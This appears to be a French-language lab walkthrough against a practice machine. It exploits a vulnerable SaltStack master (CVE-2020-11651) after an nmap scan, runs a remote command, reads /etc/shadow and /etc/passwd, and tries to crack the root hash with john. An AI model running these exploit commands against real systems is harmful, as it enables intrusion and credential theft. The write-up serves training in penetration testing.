Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-06 08:44 EDT
Nmap scan report for 192.168.225.62
Host is up (0.034s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-title: Home | Mezzanine
4505/tcp open zmtp ZeroMQ ZMTP 2.0
4506/tcp open zmtp ZeroMQ ZMTP 2.0
8000/tcp open http nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).
DNS (53) : NLnet Labs NSD
Rien d'exploitable.
" Name Server Daemon (NSD) est un serveur DNS tournant sur systèmes de type Unix. Développé à l'origine avec le soutien du RIPE-NCC, il est actuellement maintenu par le NLnetLabs. Contrairement au serveur BIND, bien plus connu, NSD ne sert que de serveur faisant autorité : il peut servir des zones DNS, mais pas interroger d'autres serveurs. "
Recherche google de la requête : {"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"} Nous mène vers Salt-api
De plus : X-upstream : salt-api/3000-1
Une recherche google nous renvoie vers deux CVE :
2020-11652
2020-11651
Gobuster
Rien d'intéressant
ZMTP (4505/4506) : ZeroMQ ZMTP 2.0
" Le protocole de transport de messages ZeroMQ (ZMTP) est un protocole de couche de transport permettant d'échanger des messages entre deux pairs via une couche de transport connectée telle que TCP. "
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 --exec 'ping 192.168.45.216 -c2'
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
/home/kali/.local/lib/python3.11/site-packages/salt/transport/client.py:28: DeprecationWarning: This module is deprecated. Please use salt.channel.client instead.
warn_until(
[+] Salt version: 3007.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.225.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: gq/k5pft+cBTHT6tThJAAu3O5gCGufCpkylVgXDJ/wSpsXJUxpAHo1z8p9Uze7X/br2nLtoa7qQ=
[+] Attemping to execute ping 192.168.45.216 -c2 on 192.168.225.62
[+] Successfully scheduled job: 20240706130217481189
──(kali㉿kali)-[~]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:02:17.543722 IP 192.168.225.62 > 192.168.45.216: ICMP echo request, id 4444, seq 1, length 64
09:02:17.543772 IP 192.168.45.216 > 192.168.225.62: ICMP echo reply, id 4444, seq 1, length 64
09:02:18.545241 IP 192.168.225.62 > 192.168.45.216: ICMP echo request, id 4444, seq 2, length 64
09:02:18.545250 IP 192.168.45.216 > 192.168.225.62: ICMP echo reply, id 4444, seq 2, length 64
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 -r /etc/shadow
{...}
[+] Attemping to read /etc/shadow from 192.168.225.62
root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ echo 'root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::' > hash.txt
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
┌──(kali㉿kali)-[~/oscp/twiggy]
└─$ python exploit2.py --master 192.168.225.62 -r /etc/passwd
{..}
[+] Attemping to read /etc/passwd from 192.168.225.62
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
{..}